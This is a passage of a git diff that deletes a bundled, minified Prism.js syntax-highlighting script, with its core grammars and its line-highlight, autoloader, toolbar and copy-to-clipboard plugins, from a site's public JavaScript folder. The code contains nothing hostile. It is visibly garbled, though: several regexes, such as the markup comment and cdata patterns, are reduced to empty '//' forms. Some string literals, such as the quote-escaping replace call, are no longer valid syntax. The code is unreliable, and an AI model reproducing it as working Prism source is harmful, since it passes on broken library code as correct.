a2 = { value: t2, prev: n2, next: r2 }; - return n2.next = a2, r2.prev = a2, e2.length++, a2; - } - function c(e2, n2, t2) { - for (var r2 = n2.next, a2 = 0; a2 < t2 && r2 !== e2.tail; a2++) r2 = r2.next; - n2.next = r2, r2.prev = n2, e2.length -= a2; - } - if (e.Prism = a, i.stringify = function e2(n2, t2) { - if ("string" == typeof n2) return n2; - if (Array.isArray(n2)) { - var r2 = ""; - return n2.forEach(function(n3) { - r2 += e2(n3, t2); - }), r2; - } - var i2 = { type: n2.type, content: e2(n2.content, t2), tag: "span", classes: ["token", n2.type], attributes: {}, language: t2 }, l2 = n2.alias; - l2 && (Array.isArray(l2) ? Array.prototype.push.apply(i2.classes, l2) : i2.classes.push(l2)), a.hooks.run("wrap", i2); - var o2 = ""; - for (var s2 in i2.attributes) o2 += " " + s2 + '="' + (i2.attributes[s2] || "").replace(/"/g, """) + '"'; - return "<" + i2.tag + ' class="' + i2.classes.join(" ") + '"' + o2 + ">" + i2.content + ""; - }, !e.document) return e.addEventListener ? (a.disableWorkerMessageHandler || e.addEventListener("message", function(n2) { - var t2 = JSON.parse(n2.data), r2 = t2.language, i2 = t2.code, l2 = t2.immediateClose; - e.postMessage(a.highlight(i2, a.languages[r2], r2)), l2 && e.close(); - }, false), a) : a; - var g = a.util.currentScript(); - function f() { - a.manual || a.highlightAll(); - } - if (g && (a.filename = g.src, g.hasAttribute("data-manual") && (a.manual = true)), !a.manual) { - var h = document.readyState; - "loading" === h || "interactive" === h && g && g.defer ? document.addEventListener("DOMContentLoaded", f) : window.requestAnimationFrame ? window.requestAnimationFrame(f) : window.setTimeout(f, 16); - } - return a; - }(_self); - "undefined" != typeof module && module.exports && (module.exports = Prism), "undefined" != typeof global && (global.Prism = Prism); - Prism.languages.markup = { comment: { pattern: //, greedy: true }, prolog: { pattern: /<\?[\s\S]+?\?>/, greedy: true }, doctype: { pattern: /"'[\]]|"[^"]*"|'[^']*')+(?:\[(?:[^<"'\]]|"[^"]*"|'[^']*'|<(?!!--)|)*\]\s*)?>/i, greedy: true, inside: { "internal-subset": { pattern: /(^[^\[]*\[)[\s\S]+(?=\]>$)/, lookbehind: true, greedy: true, inside: null }, string: { pattern: /"[^"]*"|'[^']*'/, greedy: true }, punctuation: /^$|[[\]]/, "doctype-tag": /^DOCTYPE/i, name: /[^\s<>'"]+/ } }, cdata: { pattern: //i, greedy: true }, tag: { pattern: /<\/?(?!\d)[^\s>\/=$<%]+(?:\s(?:\s*[^\s>\/=]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))|(?=[\s/>])))+)?\s*\/?>/, greedy: true, inside: { tag: { pattern: /^<\/?[^\s>\/]+/, inside: { punctuation: /^<\/?/, namespace: /^[^\s>\/:]+:/ } }, "special-attr": [], "attr-value": { pattern: /=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/, inside: { punctuation: [{ pattern: /^=/, alias: "attr-equals" }, { pattern: /^(\s*)["']|["']$/, lookbehind: true }] } }, punctuation: /\/?>/, "attr-name": { pattern: /[^\s>\/]+/, inside: { namespace: /^[^\s>\/:]+:/ } } } }, entity: [{ pattern: /&[\da-z]{1,8};/i, alias: "named-entity" }, /&#x?[\da-f]{1,8};/i] }, Prism.languages.markup.tag.inside["attr-value"].inside.entity = Prism.languages.markup.entity, Prism.languages.markup.doctype.inside["internal-subset"].inside = Prism.languages.markup, Prism.hooks.add("wrap", function(a) { - "entity" === a.type && (a.attributes.title = a.content.replace(/&/, "&")); - }), Object.defineProperty(Prism.languages.markup.tag, "addInlined", { value: function(a, e) { - var s = {}; - s["language-" + e] = { pattern: /(^$)/i, lookbehind: true, inside: Prism.languages[e] }, s.cdata = /^$/i; - var t = { "included-cdata": { pattern: //i, inside: s } }; - t["language-" + e] = { pattern: /[\s\S]+/, inside: Prism.languages[e] }; - var n = {}; - n[a] = { pattern: RegExp("(<__[^>]*>)(?:))*\\]\\]>|(?!)".replace(/__/g, function() { - return a; - }), "i"), lookbehind: true, greedy: true, inside: t }, Prism.languages.insertBefore("markup", "cdata", n); - } }), Object.defineProperty(Prism.languages.markup.tag, "addAttribute", { value: function(a, e) { - Prism.languages.markup.tag.inside["special-attr"].push({ pattern: RegExp(`(^|["'\\s])(?:` + a + `)\\s*=\\s*(?:"[^"]*"|'[^']*'|[^\\s'">=]+(?=[\\s>]))`, "i"), lookbehind: true, inside: { "attr-name": /^[^\s=]+/, "attr-value": { pattern: /=[\s\S]+/, inside: { value: { pattern: /(^=\s*(["']|(?!["'])))\S[\s\S]*(?=\2$)/, lookbehind: true, alias: [e, "language-" + e], inside: Prism.languages[e] }, punctuation: [{ pattern: /^=/, alias: "attr-equals" }, /"|'/] } } } }); - } }), Prism.languages.html = Prism.languages.markup, Prism.languages.mathml = Prism.languages.markup, Prism.languages.svg = Prism.languages.markup, Prism.languages.xml = Prism.languages.extend("markup", {}), Prism.languages.ssml = Prism.languages.xml, Prism.languages.atom = Prism.languages.xml, Prism.languages.rss = Prism.languages.xml; - !function(s) { - var e = /(?:"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n])*')/; - s.languages.css = { comment: /\/\*[\s\S]*?\*\//, atrule: { pattern: RegExp(`@[\\w-](?:[^;{\\s"']|\\s+(?!\\s)|` + e.source + ")*?(?:;|(?=\\s*\\{))"), inside: { rule: /^@[\w-]+/, "selector-function-argument": { pattern: /(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*\))*\))+(?=\s*\))/, lookbehind: true, alias: "selector" }, keyword: { pattern: /(^|[^\w-])(?:and|not|only|or)(?![\w-])/, lookbehind: true } } }, url: { pattern: RegExp("\\burl\\((?:" + e.source + `|(?:[^\\\\\r -()"']|\\\\[^])*)\\)`, "i"), greedy: true, inside: { function: /^url/i, punctuation: /^\(|\)$/, string: { pattern: RegExp("^" + e.source + "$"), alias: "url" } } }, selector: { pattern: RegExp(`(^|[{}\\s])[^{}\\s](?:[^{};"'\\s]|\\s+(?![\\s{])|` + e.source + ")*(?=\\s*\\{)"), lookbehind: true }, string: { pattern: e, greedy: true }, property: { pattern: /(^|[^-\w\xA0-\uFFFF])(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i, lookbehind: true }, important: /!important\b/i, function: { pattern: /(^|[^-a-z0-9])[-a-z0-9]+(?=\()/i, lookbehind: true }, punctuation: /[(){};:,]/ }, s.languages.css.atrule.inside.rest = s.languages.css; - var t = s.languages.markup; - t && (t.tag.addInlined("style", "css"), t.tag.addAttribute("style", "css")); - }(Prism); - Prism.languages.clike = { comment: [{ pattern: /(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/, lookbehind: true, greedy: true }, { pattern: /(^|[^\\:])\/\/.*/, lookbehind: true, greedy: true }], string: { pattern: /(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/, greedy: true }, "class-name": { pattern: /(\b(?:class|extends|implements|instanceof|interface|new|trait)\s+|\bcatch\s+\()[\w.\\]+/i, lookbehind: true, inside: { punctuation: /[.\\]/ } }, keyword: /\b(?:break|catch|continue|do|else|finally|for|function|if|in|instanceof|new|null|return|throw|try|while)\b/, boolean: /\b(?:false|true)\b/, function: /\b\w+(?=\()/, number: /\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i, operator: /[<>]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/, punctuation: /[{}[\];(),.:]/ }; - Prism.languages.javascript = Prism.languages.extend("clike", { "class-name": [Prism.languages.clike["class-name"], { pattern: /(^|[^$\w\xA0-\uFFFF])(?!\s)[_$A-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\.(?:constructor|prototype))/, lookbehind: true }], keyword: [{ pattern: /((?:^|\})\s*)catch\b/, lookbehind: true }, { pattern: /(^|[^.]|\.\.\.\s*)\b(?:as|assert(?=\s*\{)|async(?=\s*(?:function\b|\(|[$\w\xA0-\uFFFF]|$))|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally(?=\s*(?:\{|$))|for|from(?=\s*(?:['"]|$))|function|(?:get|set)(?=\s*(?:[#\[$\w\xA0-\uFFFF]|$))|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)\b/, lookbehind: true }], function: /#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*(?:\.\s*(?:apply|bind|call)\s*)?\()/, number: { pattern: RegExp("(^|[^\\w$])(?:NaN|Infinity|0[bB][01]+(?:_[01]+)*n?|0[oO][0-7]+(?:_[0-7]+)*n?|0[xX][\\dA-Fa-f]+(?:_[\\dA-Fa-f]+)*n?|\\d+(?:_\\d+)*n|(?:\\d+(?:_\\d+)*(?:\\.(?:\\d+(?:_\\d+)*)?)?|\\.\\d+(?:_\\d+)*)(?:[Ee][+-]?\\d+(?:_\\d+)*)?)(?![\\w$])"), lookbehind: true }, operator: /--|\+\+|\*\*=?|=>|&&=?|\|\|=?|[!=]==|<<=?|>>>?=?|[-+*/%&|^!=<>]=?|\.{3}|\?\?=?|\?\.?|[~:]/ }), Prism.languages.javascript["class-name"][0].pattern = /(\b(?:class|extends|implements|instanceof|interface|new)\s+)[\w.\\]+/, Prism.languages.insertBefore("javascript", "keyword", { regex: { pattern: RegExp(`((?:^|[^$\\w\\xA0-\\uFFFF."'\\])\\s]|\\b(?:return|yield))\\s*)/(?:(?:\\[(?:[^\\]\\\\\r -]|\\\\.)*\\]|\\\\.|[^/\\\\\\[\r -])+/[dgimyus]{0,7}|(?:\\[(?:[^[\\]\\\\\r -]|\\\\.|\\[(?:[^[\\]\\\\\r -]|\\\\.|\\[(?:[^[\\]\\\\\r -]|\\\\.)*\\])*\\])*\\]|\\\\.|[^/\\\\\\[\r -])+/[dgimyus]{0,7}v[dgimyus]{0,7})(?=(?:\\s|/\\*(?:[^*]|\\*(?!/))*\\*/)*(?:$|[\r -,.;:})\\]]|//))`), lookbehind: true, greedy: true, inside: { "regex-source": { pattern: /^(\/)[\s\S]+(?=\/[a-z]*$)/, lookbehind: true, alias: "language-regex", inside: Prism.languages.regex }, "regex-delimiter": /^\/|\/$/, "regex-flags": /^[a-z]+$/ } }, "function-variable": { pattern: /#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*[=:]\s*(?:async\s*)?(?:\bfunction\b|(?:\((?:[^()]|\([^()]*\))*\)|(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)\s*=>))/, alias: "function" }, parameter: [{ pattern: /(function(?:\s+(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)?\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\))/, lookbehind: true, inside: Prism.languages.javascript }, { pattern: /(^|[^$\w\xA0-\uFFFF])(?!\s)[_$a-z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*=>)/i, lookbehind: true, inside: Prism.languages.javascript }, { pattern: /(\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*=>)/, lookbehind: true, inside: Prism.languages.javascript }, { pattern: /((?:\b|\s|^)(?!(?:as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)(?![$\w\xA0-\uFFFF]))(?:(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*)\(\s*|\]\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*\{)/, lookbehind: true, inside: Prism.languages.javascript }], constant: /\b[A-Z](?:[A-Z_]|\dx?)*\b/ }), Prism.languages.insertBefore("javascript", "string", { hashbang: { pattern: /^#!.*/, greedy: true, alias: "comment" }, "template-string": { pattern: /`(?:\\[\s\S]|\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}|(?!\$\{)[^\\`])*`/, greedy: true, inside: { "template-punctuation": { pattern: /^`|`$/, alias: "string" }, interpolation: { pattern: /((?:^|[^\\])(?:\\{2})*)\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}/, lookbehind: true, inside: { "interpolation-punctuation": { pattern: /^\$\{|\}$/, alias: "punctuation" }, rest: Prism.languages.javascript } }, string: /[\s\S]+/ } }, "string-property": { pattern: /((?:^|[,{])[ \t]*)(["'])(?:\\(?:\r\n|[\s\S])|(?!\2)[^\\\r\n])*\2(?=\s*:)/m, lookbehind: true, greedy: true, alias: "property" } }), Prism.languages.insertBefore("javascript", "operator", { "literal-property": { pattern: /((?:^|[,{])[ \t]*)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*:)/m, lookbehind: true, alias: "property" } }), Prism.languages.markup && (Prism.languages.markup.tag.addInlined("script", "javascript"), Prism.languages.markup.tag.addAttribute("on(?:abort|blur|change|click|composition(?:end|start|update)|dblclick|error|focus(?:in|out)?|key(?:down|up)|load|mouse(?:down|enter|leave|move|out|over|up)|reset|resize|scroll|select|slotchange|submit|unload|wheel)", "javascript")), Prism.languages.js = Prism.languages.javascript; - !function() { - if ("undefined" != typeof Prism && "undefined" != typeof document && document.querySelector) { - var e, t = "line-numbers", i = "linkable-line-numbers", n = /\n(?!$)/g, r = true; - Prism.plugins.lineHighlight = { highlightLines: function(o2, u2, c2) { - var h = (u2 = "string" == typeof u2 ? u2 : o2.getAttribute("data-line") || "").replace(/\s+/g, "").split(",").filter(Boolean), d = +o2.getAttribute("data-line-offset") || 0, f = (function() { - if (void 0 === e) { - var t2 = document.createElement("div"); - t2.style.fontSize = "13px", t2.style.lineHeight = "1.5", t2.style.padding = "0", t2.style.border = "0", t2.innerHTML = " 
 ", document.body.appendChild(t2), e = 38 === t2.offsetHeight, document.body.removeChild(t2); - } - return e; - }() ? parseInt : parseFloat)(getComputedStyle(o2).lineHeight), p = Prism.util.isActive(o2, t), g = o2.querySelector("code"), m = p ? o2 : g || o2, v = [], y = g.textContent.match(n), b = y ? y.length + 1 : 1, A = g && m != g ? function(e2, t2) { - var i2 = getComputedStyle(e2), n2 = getComputedStyle(t2); - function r2(e3) { - return +e3.substr(0, e3.length - 2); - } - return t2.offsetTop + r2(n2.borderTopWidth) + r2(n2.paddingTop) - r2(i2.paddingTop); - }(o2, g) : 0; - h.forEach(function(e2) { - var t2 = e2.split("-"), i2 = +t2[0], n2 = +t2[1] || i2; - if (!((n2 = Math.min(b + d, n2)) < i2)) { - var r2 = o2.querySelector('.line-highlight[data-range="' + e2 + '"]') || document.createElement("div"); - if (v.push(function() { - r2.setAttribute("aria-hidden", "true"), r2.setAttribute("data-range", e2), r2.className = (c2 || "") + " line-highlight"; - }), p && Prism.plugins.lineNumbers) { - var s2 = Prism.plugins.lineNumbers.getLine(o2, i2), l2 = Prism.plugins.lineNumbers.getLine(o2, n2); - if (s2) { - var a2 = s2.offsetTop + A + "px"; - v.push(function() { - r2.style.top = a2; - }); - } - if (l2) { - var u3 = l2.offsetTop - s2.offsetTop + l2.offsetHeight + "px"; - v.push(function() { - r2.style.height = u3; - }); - } - } else v.push(function() { - r2.setAttribute("data-start", String(i2)), n2 > i2 && r2.setAttribute("data-end", String(n2)), r2.style.top = (i2 - d - 1) * f + A + "px", r2.textContent = new Array(n2 - i2 + 2).join(" \n"); - }); - v.push(function() { - r2.style.width = o2.scrollWidth + "px"; - }), v.push(function() { - m.appendChild(r2); - }); - } - }); - var P = o2.id; - if (p && Prism.util.isActive(o2, i) && P) { - l(o2, i) || v.push(function() { - o2.classList.add(i); - }); - var E = parseInt(o2.getAttribute("data-start") || "1"); - s(".line-numbers-rows > span", o2).forEach(function(e2, t2) { - var i2 = t2 + E; - e2.onclick = function() { - var e3 = P + "." + i2; - r = false, location.hash = e3, setTimeout(function() { - r = true; - }, 1); - }; - }); - } - return function() { - v.forEach(a); - }; - } }; - var o = 0; - Prism.hooks.add("before-sanity-check", function(e2) { - var t2 = e2.element.parentElement; - if (u(t2)) { - var i2 = 0; - s(".line-highlight", t2).forEach(function(e3) { - i2 += e3.textContent.length, e3.parentNode.removeChild(e3); - }), i2 && /^(?: \n)+$/.test(e2.code.slice(-i2)) && (e2.code = e2.code.slice(0, -i2)); - } - }), Prism.hooks.add("complete", function e2(i2) { - var n2 = i2.element.parentElement; - if (u(n2)) { - clearTimeout(o); - var r2 = Prism.plugins.lineNumbers, s2 = i2.plugins && i2.plugins.lineNumbers; - l(n2, t) && r2 && !s2 ? Prism.hooks.add("line-numbers", e2) : (Prism.plugins.lineHighlight.highlightLines(n2)(), o = setTimeout(c, 1)); - } - }), window.addEventListener("hashchange", c), window.addEventListener("resize", function() { - s("pre").filter(u).map(function(e2) { - return Prism.plugins.lineHighlight.highlightLines(e2); - }).forEach(a); - }); - } - function s(e2, t2) { - return Array.prototype.slice.call((t2 || document).querySelectorAll(e2)); - } - function l(e2, t2) { - return e2.classList.contains(t2); - } - function a(e2) { - e2(); - } - function u(e2) { - return !!(e2 && /pre/i.test(e2.nodeName) && (e2.hasAttribute("data-line") || e2.id && Prism.util.isActive(e2, i))); - } - function c() { - var e2 = location.hash.slice(1); - s(".temporary.line-highlight").forEach(function(e3) { - e3.parentNode.removeChild(e3); - }); - var t2 = (e2.match(/\.([\d,-]+)$/) || [, ""])[1]; - if (t2 && !document.getElementById(e2)) { - var i2 = e2.slice(0, e2.lastIndexOf(".")), n2 = document.getElementById(i2); - n2 && (n2.hasAttribute("data-line") || n2.setAttribute("data-line", ""), Prism.plugins.lineHighlight.highlightLines(n2, t2, "temporary ")(), r && document.querySelector(".temporary.line-highlight").scrollIntoView()); - } - } - }(); - !function() { - if ("undefined" != typeof Prism && "undefined" != typeof document) { - var e = { javascript: "clike", actionscript: "javascript", apex: ["clike", "sql"], arduino: "cpp", aspnet: ["markup", "csharp"], birb: "clike", bison: "c", c: "clike", csharp: "clike", cpp: "c", cfscript: "clike", chaiscript: ["clike", "cpp"], cilkc: "c", cilkcpp: "cpp", coffeescript: "javascript", crystal: "ruby", "css-extras": "css", d: "clike", dart: "clike", django: "markup-templating", ejs: ["javascript", "markup-templating"], etlua: ["lua", "markup-templating"], erb: ["ruby", "markup-templating"], fsharp: "clike", "firestore-security-rules": "clike", flow: "javascript", ftl: "markup-templating", gml: "clike", glsl: "c", go: "clike", gradle: "clike", groovy: "clike", haml: "ruby", handlebars: "markup-templating", haxe: "clike", hlsl: "c", idris: "haskell", java: "clike", javadoc: ["markup", "java", "javadoclike"], jolie: "clike", jsdoc: ["javascript", "javadoclike", "typescript"], "js-extras": "javascript", json5: "json", jsonp: "json", "js-templates": "javascript", kotlin: "clike", latte: ["clike", "markup-templating", "php"], less: "css", lilypond: "scheme", liquid: "markup-templating", markdown: "markup", "markup-templating": "markup", mongodb: "javascript", n4js: "javascript", objectivec: "c", opencl: "c", parser: "markup", php: "markup-templating", phpdoc: ["php", "javadoclike"], "php-extras": "php", plsql: "sql", processing: "clike", protobuf: "clike", pug: ["markup", "javascript"], purebasic: "clike", purescript: "haskell", qsharp: "clike", qml: "javascript", qore: "clike", racket: "scheme", cshtml: ["markup", "csharp"], jsx: ["markup", "javascript"], tsx: ["jsx", "typescript"], reason: "clike", ruby: "clike", sass: "css", scss: "css", scala: "java", "shell-session": "bash", smarty: "markup-templating", solidity: "clike", soy: "markup-templating", sparql: "turtle", sqf: "clike", squirrel: "clike", stata: ["mata", "java", "python"], "t4-cs": ["t4-templating", "csharp"], "t4-vb": ["t4-templating", "vbnet"], tap: "yaml", tt2: ["clike", "markup-templating"], textile: "markup", twig: "markup-templating", typescript: "javascript", v: "clike", vala: "clike", vbnet: "basic", velocity: "markup", wiki: "markup", xeora: "markup", "xml-doc": "markup", xquery: "markup" }, a = { html: "markup", xml: "markup", svg: "markup", mathml: "markup", ssml: "markup", atom: "markup", rss: "markup", js: "javascript", g4: "antlr4", ino: "arduino", "arm-asm": "armasm", art: "arturo", adoc: "asciidoc", avs: "avisynth", avdl: "avro-idl", gawk: "awk", sh: "bash", shell: "bash", shortcode: "bbcode", rbnf: "bnf", oscript: "bsl", cs: "csharp", dotnet: "csharp", cfc: "cfscript", "cilk-c": "cilkc", "cilk-cpp": "cilkcpp", cilk: "cilkcpp", coffee: "coffeescript", conc: "concurnas", jinja2: "django", "dns-zone": "dns-zone-file", dockerfile: "docker", gv: "dot", eta: "ejs", xlsx: "excel-formula", xls: "excel-formula", gamemakerlanguage: "gml", po: "gettext", gni: "gn", ld: "linker-script", "go-mod": "go-module", hbs: "handlebars", mustache: "handlebars", hs: "haskell", idr: "idris", gitignore: "ignore", hgignore: "ignore", npmignore: "ignore", webmanifest: "json", kt: "kotlin", kts: "kotlin", kum: "kumir", tex: "latex", context: "latex", ly: "lilypond", emacs: "lisp", elisp: "lisp", "emacs-lisp": "lisp", md: "markdown", moon: "moonscript", n4jsd: "n4js", nani: "naniscript", objc: "objectivec", qasm: "openqasm", objectpascal: "pascal", px: "pcaxis", pcode: "peoplecode", plantuml: "plant-uml", pq: "powerquery", mscript: "powerquery", pbfasm: "purebasic", purs: "purescript", py: "python", qs: "qsharp", rkt: "racket", razor: "cshtml", rpy: "renpy", res: "rescript", robot: "robotframework", rb: "ruby", "sh-session": "shell-session", shellsession: "shell-session", smlnj: "sml", sol: "solidity", sln: "solution-file", rq: "sparql", sclang: "supercollider", t4: "t4-cs", trickle: "tremor", troy: "tremor", trig: "turtle", ts: "typescript", tsconfig: "typoscript", uscript: "unrealscript", uc: "unrealscript", url: "uri", vb: "visual-basic", vba: "visual-basic", webidl: "web-idl", mathematica: "wolfram", nb: "wolfram", wl: "wolfram", xeoracube: "xeora", yml: "yaml" }, r = {}, s = "components/", i = Prism.util.currentScript(); - if (i) { - var t = /\bplugins\/autoloader\/prism-autoloader\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i, c = /(^|\/)[\w-]+\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i, l = i.getAttribute("data-autoloader-path"); - if (null != l) s = l.trim().replace(/\/?$/, "/"); - else { - var p = i.src; - t.test(p) ? s = p.replace(t, "components/") : c.test(p) && (s = p.replace(c, "$1components/")); - } - } - var n = Prism.plugins.autoloader = { languages_path: s, use_minified: true, loadLanguages: m }; - Prism.hooks.add("complete", function(e2) { - var a2 = e2.element, r2 = e2.language; - if (a2 && r2 && "none" !== r2) { - var s2 = function(e3) { - var a3 = (e3.getAttribute("data-dependencies") || "").trim(); - if (!a3) { - var r3 = e3.parentElement; - r3 && "pre" === r3.tagName.toLowerCase() && (a3 = (r3.getAttribute("data-dependencies") || "").trim()); - } - return a3 ? a3.split(/\s*,\s*/g) : []; - }(a2); - /^diff-./i.test(r2) ? (s2.push("diff"), s2.push(r2.substr("diff-".length))) : s2.push(r2), s2.every(o) || m(s2, function() { - Prism.highlightElement(a2); - }); - } - }); - } - function o(e2) { - if (e2.indexOf("!") >= 0) return false; - if ((e2 = a[e2] || e2) in Prism.languages) return true; - var s2 = r[e2]; - return s2 && !s2.error && false === s2.loading; - } - function m(s2, i2, t2) { - "string" == typeof s2 && (s2 = [s2]); - var c2 = s2.length, l2 = 0, p2 = false; - function k() { - p2 || ++l2 === c2 && i2 && i2(s2); - } - 0 !== c2 ? s2.forEach(function(s3) { - !function(s4, i3, t3) { - var c3 = s4.indexOf("!") >= 0; - function l3() { - var e2 = r[s4]; - e2 || (e2 = r[s4] = { callbacks: [] }), e2.callbacks.push({ success: i3, error: t3 }), !c3 && o(s4) ? u(s4, "success") : !c3 && e2.error ? u(s4, "error") : !c3 && e2.loading || (e2.loading = true, e2.error = false, function(e3, a2, r2) { - var s5 = document.createElement("script"); - s5.src = e3, s5.async = true, s5.onload = function() { - document.body.removeChild(s5), a2 && a2(); - }, s5.onerror = function() { - document.body.removeChild(s5), r2 && r2(); - }, document.body.appendChild(s5); - }(function(e3) { - return n.languages_path + "prism-" + e3 + (n.use_minified ? ".min" : "") + ".js"; - }(s4), function() { - e2.loading = false, u(s4, "success"); - }, function() { - e2.loading = false, e2.error = true, u(s4, "error"); - })); - } - s4 = s4.replace("!", ""); - var p3 = e[s4 = a[s4] || s4]; - p3 && p3.length ? m(p3, l3, t3) : l3(); - }(s3, k, function() { - p2 || (p2 = true, t2 && t2(s3)); - }); - }) : i2 && setTimeout(i2, 0); - } - function u(e2, a2) { - if (r[e2]) { - for (var s2 = r[e2].callbacks, i2 = 0, t2 = s2.length; i2 < t2; i2++) { - var c2 = s2[i2][a2]; - c2 && setTimeout(c2, 0); - } - s2.length = 0; - } - } - }(); - !function() { - if ("undefined" != typeof Prism && "undefined" != typeof document) { - var e = [], t = {}, n = function() { - }; - Prism.plugins.toolbar = {}; - var a = Prism.plugins.toolbar.registerButton = function(n2, a2) { - var r2; - r2 = "function" == typeof a2 ? a2 : function(e2) { - var t2; - return "function" == typeof a2.onClick ? ((t2 = document.createElement("button")).type = "button", t2.addEventListener("click", function() { - a2.onClick.call(this, e2); - })) : "string" == typeof a2.url ? (t2 = document.createElement("a")).href = a2.url : t2 = document.createElement("span"), a2.className && t2.classList.add(a2.className), t2.textContent = a2.text, t2; - }, n2 in t ? console.warn('There is a button with the key "' + n2 + '" registered already.') : e.push(t[n2] = r2); - }, r = Prism.plugins.toolbar.hook = function(a2) { - var r2 = a2.element.parentNode; - if (r2 && /pre/i.test(r2.nodeName) && !r2.parentNode.classList.contains("code-toolbar")) { - var o = document.createElement("div"); - o.classList.add("code-toolbar"), r2.parentNode.insertBefore(o, r2), o.appendChild(r2); - var i = document.createElement("div"); - i.classList.add("toolbar"); - var l = e, d = function(e2) { - for (; e2; ) { - var t2 = e2.getAttribute("data-toolbar-order"); - if (null != t2) return (t2 = t2.trim()).length ? t2.split(/\s*,\s*/g) : []; - e2 = e2.parentElement; - } - }(a2.element); - d && (l = d.map(function(e2) { - return t[e2] || n; - })), l.forEach(function(e2) { - var t2 = e2(a2); - if (t2) { - var n2 = document.createElement("div"); - n2.classList.add("toolbar-item"), n2.appendChild(t2), i.appendChild(n2); - } - }), o.appendChild(i); - } - }; - a("label", function(e2) { - var t2 = e2.element.parentNode; - if (t2 && /pre/i.test(t2.nodeName) && t2.hasAttribute("data-label")) { - var n2, a2, r2 = t2.getAttribute("data-label"); - try { - a2 = document.querySelector("template#" + r2); - } catch (e3) { - } - return a2 ? n2 = a2.content : (t2.hasAttribute("data-url") ? (n2 = document.createElement("a")).href = t2.getAttribute("data-url") : n2 = document.createElement("span"), n2.textContent = r2), n2; - } - }), Prism.hooks.add("complete", r); - } - }(); - !function() { - function t(t2) { - var e = document.createElement("textarea"); - e.value = t2.getText(), e.style.top = "0", e.style.left = "0", e.style.position = "fixed", document.body.appendChild(e), e.focus(), e.select(); - try { - var o = document.execCommand("copy"); - setTimeout(function() { - o ? t2.success() : t2.error(); - }, 1); - } catch (e2) { - setTimeout(function() { - t2.error(e2); - }, 1); - } - document.body.removeChild(e); - } - "undefined" != typeof Prism && "undefined" != typeof document && (Prism.plugins.toolbar ? Prism.plugins.toolbar.registerButton("copy-to-clipboard", function(e) { - var o = e.element, n = function(t2) { - var e2 = { copy: "Copy", "copy-error": "Press Ctrl+C to copy", "copy-success": "Copied!", "copy-timeout": 5e3 }; - for (var o2 in e2) { - for (var n2 = "data-prismjs-" + o2, c2 = t2; c2 && !c2.hasAttribute(n2); ) c2 = c2.parentElement; - c2 && (e2[o2] = c2.getAttribute(n2)); - } - return e2; - }(o), c = document.createElement("button"); - c.className = "copy-to-clipboard-button", c.setAttribute("type", "button"); - var r = document.createElement("span"); - return c.appendChild(r), u("copy"), function(e2, o2) { - e2.addEventListener("click", function() { - !function(e3) { - navigator.clipboard ? navigator.clipboard.writeText(e3.getText()).then(e3.success, function() { - t(e3); - }) : t(e3); - }(o2); - }); - }(c, { getText: function() { - return o.textContent; - }, success: function() { - u("copy-success"), i(); - }, error: function() { - u("copy-error"), setTimeout(function() { - !function(t2) { - window.getSelection().selectAllChildren(t2); - }(o); - }, 1), i(); - } }), c; - function i() { - setTimeout(function() { - u("copy"); - }, n["copy-timeout"]); - } - function u(t2) { - r.textContent = n[t2], c.setAttribute("data-copy-state", t2); - } - }) : console.warn("Copy to Clipboard plugin loaded before Toolbar plugin.")); - }(); - Prism.plugins.autoloader.languages_path = "https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/"; - function highlight() { - document.querySelectorAll("pre:not(.emgithub-pre)").forEach((e) => { - Prism.highlightAllUnder(e, false, () => { - requestAnimationFrame(() => { - e.classList.remove("hide"); - }); - }); - }); - } - window.addEventListener("DOMContentLoaded", () => { - highlight(); - }); - } - }); - require_stdin(); -})(); diff --git a/public/js/search-en.6a487e24dd42d36bf0c2f58669af941040a081e29f0b98d6a9abaee1e0c019819af6dca72d2d00b7d3114791c10ab69c6b14943afbd7f21e7d5acaa9020ff6ad.js b/public/js/search-en.6a487e24dd42d36bf0c2f58669af941040a081e29f0b98d6a9abaee1e0c019819af6dca72d2d00b7d3114791c10ab69c6b14943afbd7f21e7d5acaa9020ff6ad.js deleted file mode 100644 index 06c86df5..00000000 --- 